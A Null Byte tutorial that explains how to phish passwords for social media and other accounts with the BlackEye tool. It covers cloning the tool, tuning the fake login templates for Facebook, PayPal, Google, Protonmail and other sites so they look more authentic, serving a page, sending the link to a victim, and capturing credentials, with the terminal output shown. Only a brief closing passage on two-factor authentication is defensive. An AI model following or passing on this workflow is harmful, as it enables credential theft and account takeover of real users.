How to Phish for Social Media & Other Account Passwords with BlackEye « Null Byte :: WonderHowTo

Social media accounts are a favorite target for hackers, and the most effective tactics for attacking accounts on websites likeFacebook,Instagram, andTwitterare often based on phishing. These password-stealing attacks rely on tricking users into entering their passwords into a convincing fake webpage, and they have become increasingly easy to make thanks to tools like BlackEye.BlackEye is a tool to rapidly generate phishing pages that target social media websites, making it much easier to phish targets of opportunity on the same network. After redirecting a target to the phishing page, it's easy to capture passwords to social media accounts harvested from unwitting targets.BlackEye for Social Media PhishingUsers place a lot of trust in their social media accounts. If the target doesn't have 2FA enabled, the ease with which an attacker can access them may be surprising. A single mistake typing a password into the wrong website can be all it takes to lose access to your account. BlackEye is a proof of concept that shows how these phishing pages don't need to be sophisticated or customized to work effectively.Don't Miss:Track a Target Using Canary Token Tracking LinksBlackEye is a straightforward bash script that presents several templates to pick from, allowing you to select which social media website to emulate. From there, it creates a functional phishing site on your device, with the ability to be port forwarded or connected in other ways to your target's machine.Supported Social Media SitesBlackEye supports 32 different websites with phishing templates, but these range in quality. It's best to test them out before deploying them because some suffer from flaws that could give them away if a user is paying attention. While the default phishing pages provided with BlackEye are pretty good, it's always useful to be able to modify them. That way, you can remove things like a copyright notice from the wrong year.Among the more interesting websites that BlackEye supports are Protonmail, Github, Gitlab, Adobe, Verizon, Twitter, Facebook, Shopify, PayPal, and Google. You can test these quickly by following the steps below and clicking on the phishing URL to find out how realistic each template looks before using it.What You'll NeedBlackEye is an extremely straightforward tool but works best on Kali Linux. That's because of the number of dependencies it relies on to run, but these can be installed as needed on Ubuntu or Debian devices. Once you have a Kali distro fully updated, you should be ready to install BlackEye.Don't Miss:Research a Person or Organization Using the Operative FrameworkStep 1: Download & Test BlackEyeFirst, we'll need to clone the source fromBlackEye's GitHub repository. To do that, open a new terminal window and type the followinggitandcdcommands.Note:we used theoriginal BlackEye tool built by thelinuxchoicein this tutorial, but it has since been taken down from GitHub. You can useAn0nUD4Y's version, which builds upon thelinuxchoice's original. Instructions below have been updated to use this tool instead.~$ git clone https://github.com/An0nUD4Y/blackeye

Cloning into 'blackeye'...
remote: Enumerating objects: 361, done.
remote: Total 361 (delta 0), reused 0 (delta 0), pack-reused 361
Receiving objects: 100% (361/361), 8.01 MiB | 3.17 MiB/s, done.
Resolving deltas: 100% (101/101), done.

~$ cd blackeye

~/blackeye$That should install the BlackEye repository and enable it to run it from the blackeye folder with thebash blackeye.shcommand. When we run the command, we should see the splash screen below.~/blackeye$ bash blackeye.sh

:: Disclaimer: Developers assume no liability and are not    ::
     :: responsible for any misuse or damage caused by BlackEye.  ::
     :: Only use for educational purporses!!                      ::

     :: Attacking targets without mutual consent is illegal!      ::

[01] Instagram      [17] IGFollowers   [33] Custom     BLACKEYE  v1.1
[02] Facebook       [18] eBay                      ▒▒▒▒▒▒▒▒▄▄▄▄▄▄▄▄▒▒▒▒▒▒
[03] Snapchat       [19] Pinterest                 ▒▒█▒▒▒▄██████████▄▒▒▒▒
[04] Twitter        [20] CryptoCurrency            ▒█▐▒▒▒████████████▒▒▒▒
[05] Github         [21] Verizon                   ▒▌▐▒▒██▄▀██████▀▄██▒▒▒
[06] Google         [22] DropBox                   ▐┼▐▒▒██▄▄▄▄██▄▄▄▄██▒▒▒
[07] Spotify        [23] Adobe ID                  ▐┼▐▒▒██████████████▒▒▒
[08] Netflix        [24] Shopify                   ▐▄▐████─▀▐▐▀█─█─▌▐██▄▒
[09] PayPal         [25] Messenger                 ▒▒█████──────────▐███▌
[10] Origin         [26] GitLab                    ▒▒█▀▀██▄█─▄───▐─▄███▀▒
[11] Steam          [27] Twitch                    ▒▒█▒▒███████▄██████▒▒▒
[12] Yahoo          [28] MySpace                   ▒▒▒▒▒██████████████▒▒▒
[13] Linkedin       [29] Badoo                     ▒▒▒▒▒█████████▐▌██▌▒▒▒
[14] Protonmail     [30] VK                        ▒▒▒▒▒▐▀▐▒▌▀█▀▒▐▒█▒▒▒▒▒
[15] Wordpress      [31] Yandex                    ▒▒▒▒▒▒▒▒▒▒▒▐▒▒▒▒▌▒▒▒▒▒
[16] Microsoft      [32] devianART               CODED BY:  @thelinuxchoice
                                                 UPGRADED BY: @suljot_gjokaStep 2: Adjust Phishing WebsitesIf we don't like something like an expired copyright notice, we can change it pretty easily. First, exit out of the bash script back into the blackeye folder. Then, we'll typelsto see thesitesfolder within the BlackEye repo.~/blackeye$ ls

blackeye.sh  LICENSE  README.md  sitesWe can navigate to it using thecd sitescommand. Then, typelsto see all of the phishing site templates available to modify.~/blackeye$ cd sites
~/blackeye/sites$ ls

adobe   cryptocurrency  facebook  google          linkedin   myspace  paypal      shopify   spotify  twitter  wordpress
badoo   devianart       github    instafollowers  messenger  netflix  pinterest   shopping  steam    verizon  yahoo
create  dropbox         gitlab    instagram       microsoft  origin   protonmail  snapchat  twitch   vk       yandexTo edit Protonmail, we can typecd protonmailand thenlsagain to see the files in that folder. You should see something like the files below.~/blackeye/sites$ cd protonmail
~/blackeye/sites/protonmail$ ls

index_files  index.php  ip.php  ip.txt  login.html  login.php  saved.ip.txt  saved.usernames.txtTo edit the HTML of the phishing page, you can do so directly by openinglogin.htmlwith a text editor, allowing you to easily update any copyright notices or other details.Step 3: Serve Up the Phishing PageTo start our phishing page, open a terminal window and navigate to the blackeye folder again. Then, run thebash blackeye.shcommand to get back to the phishing page selection menu. Here, we'll select eBay, which is number 18.~/blackeye/sites/protonmail$ cd
~$ cd blackeye
~/blackeye$ bash blackeye.sh

[01] Instagram      [17] IGFollowers   [33] Custom     BLACKEYE  v1.1
[02] Facebook       [18] eBay                      ▒▒▒▒▒▒▒▒▄▄▄▄▄▄▄▄▒▒▒▒▒▒
[03] Snapchat       [19] Pinterest                 ▒▒█▒▒▒▄██████████▄▒▒▒▒
[04] Twitter        [20] CryptoCurrency            ▒█▐▒▒▒████████████▒▒▒▒
[05] Github         [21] Verizon                   ▒▌▐▒▒██▄▀██████▀▄██▒▒▒
[06] Google         [22] DropBox                   ▐┼▐▒▒██▄▄▄▄██▄▄▄▄██▒▒▒
[07] Spotify        [23] Adobe ID                  ▐┼▐▒▒██████████████▒▒▒
[08] Netflix        [24] Shopify                   ▐▄▐████─▀▐▐▀█─█─▌▐██▄▒
[09] PayPal         [25] Messenger                 ▒▒█████──────────▐███▌
[10] Origin         [26] GitLab                    ▒▒█▀▀██▄█─▄───▐─▄███▀▒
[11] Steam          [27] Twitch                    ▒▒█▒▒███████▄██████▒▒▒
[12] Yahoo          [28] MySpace                   ▒▒▒▒▒██████████████▒▒▒
[13] Linkedin       [29] Badoo                     ▒▒▒▒▒█████████▐▌██▌▒▒▒
[14] Protonmail     [30] VK                        ▒▒▒▒▒▐▀▐▒▌▀█▀▒▐▒█▒▒▒▒▒
[15] Wordpress      [31] Yandex                    ▒▒▒▒▒▒▒▒▒▒▒▐▒▒▒▒▌▒▒▒▒▒
[16] Microsoft      [32] devianART               CODED BY:  @thelinuxchoice
                                                 UPGRADED BY: @suljot_gjoka

[*] Choose an option: 18After entering the number of the site you wish to create, pressenter. Next, we'll be asked to supply our IP address. If you press enter without adding one, it will try to add yours by default, but it doesn't always work. After supplying your IP address, you should see something like the prompt below.[*] Put your local IP (Default 10.0.6.27):

[*] Starting php server...
[*] Send this link to the Victim: 192.168.0.16
[*] Waiting victim open the link ...Next, navigate to the phishing link in a browser to see the result of your phishing site.Step 4: Capture a PasswordWhen you open the site in a browser, it should look something like this:Opening the link causes the script to report back on the type of devices currently accessing the phishing page.[*] Waiting victim open the link ...

[*] IP Found!
[*] Victim IP: 192.168.43.142
[*] User-Agent:  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
[*] Saved: shopping/saved.ip.txtOnce the target enters their credentials, they're redirected to the real eBay page, creating the illusion of a successful login.On the hacker's side, BlackEye provides us with the credentials our target just entered.[*] Waiting credentials ...

[*] Credentials Found!
[*] Account: fudruckers
[*] Password:  thefudruckerking69
[*] Saved: sites/shopping/saved.usernames.txtJust like that, we've intercepted and saved the credentials a target entered into our phishing page!Phishing Social Media Sites Is Fast & EasyWhen it comes to stopping attacks like this, two-factor authentication is the average user's best friend. Without it, a single mistake can lead to your password being stolen and used to access your account by an attacker. So set up 2FA onFacebook,Instagram, andwhatever other accountsyou have.Another step towards improving security is to use ahardware security keyto require new devices to use your key to log in, rendering stolen passwords and even intercepted text messages useless. Keep in mind that while BlackEye makes phishing easy, it doesn't make it legal to steal passwords for accounts that you don't have permission to access.I hope you enjoyed this guide to phishing social media passwords! If you have any questions about this tutorial on social media phishing tools please ask below, and if you have a comment or idea for a future episode, feel free to reach me on Twitter@KodyKinzie.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItHack Like a Pro:The Ultimate Social Engineering HackHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:Lock Down Your Social Media Accounts with These 7 Useful Security TipsHow To:Phish Social Media Sites with SocialFishNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:Use Google's Advanced Protection Program to Secure Your Account from PhishingHow To:Become Anonymous & Browse the Internet SafelyHow To:Post to Multiple Social Networks at the Same Time on AndroidHow To:Protect Others from Accessing Saved Password on Google ChromeVSCO 101:How to Publish Photos to All Your Social Media AccountsHow To:Add More Context to Selfies Using Both Front & Rear Cameras on Your Galaxy S3How To:Hack a Skype PasswordHow To:Create a Hootsuite Mac App to Manage All Your Social Media Accounts from Your DesktopHow To:Secure Your Instagram Account by Adding 2-Factor Authentication & Managing Privacy SettingsHow To:Use Social Engineering to Hack ComputersHow To:Twitter's Massive Security Flaw Makes Your Password Easy to HackSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitHow To:Edit Your Google+ Account SettingsNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Create Strong, Safe PasswordsNews:Linking His Twitter Account to His Facebook AccountMastering Security, Part 1:How to Manage and Create Strong PasswordsNews:Delitos informaticos. Phishing, en 3 minutos.How To:Use Social Bookmarking Sites For Effective SEORemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetHow To:Really Connect Your Words with Friends Mobile Account to FacebookNews:No One Actually Asks for a Weekly DigestHow To:Remove a Windows Password with a Linux Live CDNews:PopCap Bought by EA, Earns $750 Million Bonus PointsNews:Should Google+ Require You to Use Your Real Name?News:Are you Using the Power of Social Media